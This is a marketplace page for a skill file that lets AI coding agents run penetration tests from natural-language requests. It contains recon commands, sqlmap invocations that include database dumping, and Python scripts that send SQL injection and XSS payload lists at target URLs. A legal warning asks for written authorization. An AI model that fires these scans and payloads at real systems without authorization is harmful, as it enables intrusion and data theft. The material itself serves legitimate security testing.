Run a penetration test in natural language

Describe your target and scope in plain English. The framework handles recon, vulnerability mapping, and exploitation steps—with security guardrails and detailed findings per vulnerability.

Best for: Security teams testing their own infrastructure without learning specialized pentesting syntax.

Operations / compliance-securitybundlefor-opsneeds-integrationfrom-text

Skill file

Preview skill file
---
name: pentest-skills-framework
description: Natural language-driven penetration testing framework with modular skills for recon, exploitation, and security testing using AI agents
triggers:
  - scan for open ports and services
  - enumerate subdomains for this target
  - test for SQL injection vulnerabilities
  - check for XSS vulnerabilities
  - perform directory enumeration
  - fingerprint web application technologies
  - test for local file inclusion
  - run a penetration test on this target
---

# Pentest-Skills Framework

> Skill by [ara.so](https://ara.so) — Security Skills collection.

A modular penetration testing framework designed for AI CLI tools (Claude Code, Gemini CLI, Cursor) that enables professional security testing through natural language commands. Each skill contains knowledge documents, automation scripts, reference documentation, and resource files.

## What It Does

Pentest-Skills provides atomic-level capabilities for penetration testing workflows:

- **Information Gathering**: Port scanning, subdomain enumeration, directory scanning, fingerprinting
- **Vulnerability Exploitation**: SQL injection, XSS, LFI, file download vulnerabilities
- **Natural Language Interface**: Describe testing goals in plain language; AI selects tools and executes
- **Automated Analysis**: AI interprets results and generates actionable reports

## Installation

### Prerequisites

Install required tools based on skills you'll use:

```bash
# Core tools (Ubuntu/Debian)
sudo apt update
sudo apt install -y nmap python3 python3-pip git

# macOS
brew install nmap python3 git

# Go-based tools (required for subdomain enumeration, directory scanning)
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/ffuf/ffuf/v2@latest

# Additional tools
pip3 install sqlmap xsstrike dalfox
```

### Install Skills

```bash
# Clone the repository
git clone https://github.com/crazyMarky/pentest-skills.git
cd pentest-skills

# Copy all skills to Claude Code skills directory
mkdir -p ~/.claude/skills
cp -r * ~/.claude/skills/

# Or copy specific skills
cp -r recon-port-scan ~/.claude/skills/
cp -r exploit-sqli ~/.claude/skills/
```

Restart your AI coding agent to load the skills.

## Skill Structure

Each skill follows this pattern:

```
skill-name/
├── SKILL.md              # Core documentation (AI trigger)
├── scripts/              # Automation scripts (Python/Bash)
│   ├── helper.py
│   └── analyze.sh
├── references/           # Detailed tool documentation
│   └── tool-guide.md
└── assets/               # Dictionaries, payloads, resources
    └── wordlists/
```

## Usage Patterns

### Port Scanning (recon-port-scan)

Natural language:
```
Scan localhost for open ports and analyze service versions
```

Direct tool usage:
```bash
# Quick scan
nmap -sV -T4 localhost

# Full TCP scan
nmap -sV -sC -p- -T4 192.168.1.100

# Using rustscan (faster)
rustscan -a 192.168.1.100 -- -sV -sC
```

Python script automation:
```python
# scripts/port_scanner.py
import nmap
import sys

def scan_target(target, ports="1-1000"):
    nm = nmap.PortScanner()
    print(f"Scanning {target} ports {ports}...")
    
    nm.scan(target, ports, arguments='-sV -sC -T4')
    
    for host in nm.all_hosts():
        print(f"\nHost: {host} ({nm[host].hostname()})")
        print(f"State: {nm[host].state()}")
        
        for proto in nm[host].all_protocols():
            ports = nm[host][proto].keys()
            for port in sorted(ports):
                port_info = nm[host][proto][port]
                print(f"  {port}/tcp  {port_info['state']}  "
                      f"{port_info['name']}  {port_info.get('version', 'N/A')}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python port_scanner.py <target> [ports]")
        sys.exit(1)
    
    target = sys.argv[1]
    ports = sys.argv[2] if len(sys.argv) > 2 else "1-1000"
    scan_target(target, ports)
```

Run:
```bash
python scripts/port_scanner.py 192.168.1.100
```

### Subdomain Enumeration (recon-subdomain)

Natural language:
```
Find all subdomains for example.com
```

Direct tool usage:
```bash
# Using subfinder
subfinder -d example.com -o subdomains.txt

# Verify live subdomains
cat subdomains.txt | dnsx -resp -o live-subdomains.txt

# Get HTTP details
cat live-subdomains.txt | httpx -status-code -title -tech-detect
```

Automation script:
```python
# scripts/subdomain_enum.py
import subprocess
import sys

def enumerate_subdomains(domain):
    print(f"Enumerating subdomains for {domain}...")
    
    # Run subfinder
    subfinder_cmd = ["subfinder", "-d", domain, "-silent"]
    result = subprocess.run(subfinder_cmd, capture_output=True, text=True)
    subdomains = result.stdout.strip().split('\n')
    
    print(f"Found {len(subdomains)} subdomains")
    
    # Verify with dnsx
    print("Verifying live subdomains...")
    live_subs = []
    for sub in subdomains:
        dnsx_cmd = ["dnsx", "-silent", "-resp"]
        proc = subprocess.run(dnsx_cmd, input=sub, capture_output=True, text=True)
        if proc.stdout.strip():
            live_subs.append(sub)
            print(f"  ✓ {sub}")
    
    return live_subs

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python subdomain_enum.py <domain>")
        sys.exit(1)
    
    domain = sys.argv[1]
    live = enumerate_subdomains(domain)
    
    with open(f"{domain}-subdomains.txt", "w") as f:
        f.write('\n'.join(live))
```

### SQL Injection Testing (exploit-sqli)

Natural language:
```
Test this URL for SQL injection: http://target.com/page.php?id=1
```

Direct tool usage:
```bash
# Basic sqlmap test
sqlmap -u "http://target.com/page.php?id=1" --batch

# Test with POST data
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch

# Dump database
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

# Extract tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
```

Testing script:
```python
# scripts/sqli_tester.py
import requests
import sys

def test_sql_injection(url, param):
    payloads = [
        "'", "\"", "' OR '1'='1", "\" OR \"1\"=\"1",
        "' OR 1=1--", "\" OR 1=1--",
        "') OR ('1'='1", "\") OR (\"1\"=\"1"
    ]
    
    print(f"Testing {url} parameter: {param}")
    
    for payload in payloads:
        test_url = f"{url}?{param}={payload}"
        try:
            response = requests.get(test_url, timeout=5)
            
            # Check for SQL error indicators
            sql_errors = [
                "SQL syntax", "mysql_fetch", "Warning: mysql",
                "PostgreSQL", "pg_query", "ORA-", "SQLite",
                "ODBC", "JET Database"
            ]
            
            for error in sql_errors:
                if error.lower() in response.text.lower():
                    print(f"  [VULNERABLE] Payload: {payload}")
                    print(f"  Error found: {error}")
                    return True
        except Exception as e:
            print(f"  [ERROR] {payload}: {e}")
    
    print("  [SAFE] No SQL injection detected")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python sqli_tester.py <url> <parameter>")
        sys.exit(1)
    
    url = sys.argv[1]
    param = sys.argv[2]
    test_sql_injection(url, param)
```

### XSS Testing (exploit-xss)

Natural language:
```
Check for XSS vulnerabilities in this form parameter
```

Direct tool usage:
```bash
# Using XSStrike
xsstrike -u "http://target.com/search?q=test"

# Using dalfox
dalfox url "http://target.com/search?q=test"

# Manual payloads
curl "http://target.com/search?q=<script>alert(1)</script>"
```

Testing script:
```python
# scripts/xss_tester.py
import requests
from urllib.parse import urlencode
import sys

def test_xss(url, params):
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "'-alert('XSS')-'",
        "\"><script>alert('XSS')</script>",
        "<body onload=alert('XSS')>"
    ]
    
    vulnerable = []
    
    for payload in payloads:
        test_params = params.copy()
        for key in test_params:
            test_params[key] = payload
        
        try:
            response = requests.get(url, params=test_params, timeout=5)
            
            if payload in response.text:
                print(f"  [VULNERABLE] Reflected payload: {payload}")
                vulnerable.append(payload)
        except Exception as e:
            print(f"  [ERROR] {payload}: {e}")
    
    return vulnerable

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python xss_tester.py <url> <param>=<value>")
        sys.exit(1)
    
    url = sys.argv[1]
    params = {}
    for arg in sys.argv[2:]:
        k, v = arg.split('=', 1)
        params[k] = v
    
    print(f"Testing XSS on {url}")
    vulns = test_xss(url, params)
    
    if vulns:
        print(f"\n[!] Found {len(vulns)} vulnerable payloads")
    else:
        print("\n[+] No XSS vulnerabilities detected")
```

### Directory Enumeration (recon-dir-scan)

Natural language:
```
Enumerate directories and files on http://target.com
```

Direct tool usage:
```bash
# Using ffuf
ffuf -u http://target.com/FUZZ -w /path/to/wordlist.txt -mc 200,301,302

# Using gobuster
gobuster dir -u http://target.com -w /path/to/wordlist.txt

# Using feroxbuster (recursive)
feroxbuster -u http://target.com -w /path/to/wordlist.txt
```

## Configuration

### Environment Variables

Store sensitive data in environment variables:

```bash
# API keys for services
export SHODAN_API_KEY="your_api_key_here"
export VIRUSTOTAL_API_KEY="your_api_key_here"

# Database credentials (for post-exploitation)
export DB_HOST="localhost"
export DB_USER="pentester"
export DB_PASS="your_password_here"

# Proxy settings
export HTTP_PROXY="http://127.0.0.1:8080"
export HTTPS_PROXY="http://127.0.0.1:8080"
```

### Skill Configuration

Each skill can have a `config.yaml`:

```yaml
# recon-port-scan/config.yaml
nmap:
  default_timing: T4
  default_ports: 1-65535
  scripts: true

masscan:
  rate: 10000
  wait: 10

output:
  format: json
  save_path: ./results
```

## Common Patterns

### Chaining Multiple Skills

```python
# scripts/full_recon.py
import subprocess
import json

def full_reconnaissance(target):
    results = {}
    
    # 1. Port scan
    print("[1/4] Port scanning...")
    nmap_result = subprocess.run(
        ["nmap", "-sV", "-oJ", "-", target],
        capture_output=True, text=True
    )
    results['ports'] = json.loads(nmap_result.stdout)
    
    # 2. Subdomain enumeration (if domain)
    if not target.replace('.', '').isdigit():
        print("[2/4] Subdomain enumeration...")
        subfinder_result = subprocess.run(
            ["subfinder", "-d", target, "-silent"],
            capture_output=True, text=True
        )
        results['subdomains'] = subfinder_result.stdout.strip().split('\n')
    
    # 3. Directory scanning
    print("[3/4] Directory enumeration...")
    ffuf_result = subprocess.run(
        ["ffuf", "-u", f"http://{target}/FUZZ", 
         "-w", "wordlist.txt", "-mc", "200,301,302", "-s"],
        capture_output=True, text=True
    )
    results['directories'] = ffuf_result.stdout.strip().split('\n')
    
    # 4. Fingerprinting
    print("[4/4] Fingerprinting...")
    httpx_result = subprocess.run(
        ["httpx", "-silent", "-tech-detect", "-title"],
        input=target, capture_output=True, text=True
    )
    results['fingerprint'] = httpx_result.stdout.strip()
    
    return results

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python full_recon.py <target>")
        sys.exit(1)
    
    target = sys.argv[1]
    results = full_reconnaissance(target)
    
    with open(f"{target}-recon.json", "w") as f:
        json.dump(results, f, indent=2)
```

### Report Generation

```python
# scripts/generate_report.py
from datetime import datetime

def generate_html_report(target, findings):
    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <title>Penetration Test Report - {target}</title>
        <style>
            body {{ font-family: Arial, sans-serif; margin: 40px; }}
            .header {{ background: #2c3e50; color: white; padding: 20px; }}
            .finding {{ border-left: 4px solid #e74c3c; padding: 10px; margin: 20px 0; }}
            .critical {{ border-color: #e74c3c; }}
            .high {{ border-color: #e67e22; }}
            .medium {{ border-color: #f39c12; }}
            .low {{ border-color: #3498db; }}
        </style>
    </head>
    <body>
        <div class="header">
            <h1>Penetration Test Report</h1>
            <p>Target: {target}</p>
            <p>Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
        </div>
        
        <h2>Executive Summary</h2>
        <p>Total findings: {len(findings)}</p>
        
        <h2>Findings</h2>
    """
    
    for finding in findings:
        html += f"""
        <div class="finding {finding['severity'].lower()}">
            <h3>{finding['title']}</h3>
            <p><strong>Severity:</strong> {finding['severity']}</p>
            <p><strong>Description:</strong> {finding['description']}</p>
            <p><strong>Recommendation:</strong> {finding['recommendation']}</p>
        </div>
        """
    
    html += """
    </body>
    </html>
    """
    
    return html
```

## Troubleshooting

### Permission Issues

```bash
# If tools require sudo
sudo nmap -sS 192.168.1.100

# Add user to required groups
sudo usermod -aG pcap $USER
```

### Tool Not Found

```bash
# Check PATH
echo $PATH

# Verify Go bin directory
export PATH=$PATH:$(go env GOPATH)/bin

# Add to shell profile
echo 'export PATH=$PATH:$(go env GOPATH)/bin' >> ~/.bashrc
```

### Rate Limiting

```python
import time

def rate_limited_scan(targets, delay=1):
    for target in targets:
        scan_target(target)
        time.sleep(delay)  # Wait between requests
```

### Proxy Configuration

```bash
# Set proxy for tools
export HTTP_PROXY=http://127.0.0.1:8080
export HTTPS_PROXY=http://127.0.0.1:8080

# For sqlmap
sqlmap --proxy=http://127.0.0.1:8080 -u "http://target.com/page.php?id=1"

# For ffuf
ffuf -x http://127.0.0.1:8080 -u http://target.com/FUZZ -w wordlist.txt
```

### Timeout Issues

```python
import requests

requests.get(url, timeout=30)  # 30 second timeout
```

## Legal Warning

⚠️ **IMPORTANT**: Only use these skills on systems you have explicit written permission to test. Unauthorized testing is illegal and punishable under cybercrime laws (e.g., CFAA in the US, Computer Misuse Act in the UK). Always:

- Obtain written authorization
- Follow local laws and regulations
- Use only for authorized penetration tests, CTF competitions, or educational purposes
- Take full responsibility for your actions

## Available Skills

- `recon-port-scan` - Port scanning and service identification
- `recon-subdomain` - Subdomain enumeration and DNS reconnaissance
- `recon-dir-scan` - Directory and file enumeration
- `recon-fingerprint` - Web fingerprinting and WAF detection
- `exploit-sqli` - SQL injection detection and exploitation
- `exploit-xss` - Cross-site scripting detection
- `exploit-lfi` - Local file inclusion and directory traversal
- `exploit-file-download` - Insecure file download and path traversal

Each skill is independently loadable and contains complete documentation, scripts, and resources.

Source

Creator's repository · aradotso/security-skills

View on GitHub

Security

Security checks in progress
Results will appear here once audits complete
Checked by 3 independent security firms
Does it try to trick the AI?Not yet checkedPending · Gen Agent Trust Hub
Does it sneak in hidden code?Not yet checkedPending · Socket
Does it have known bugs?Not yet checkedPending · Snyk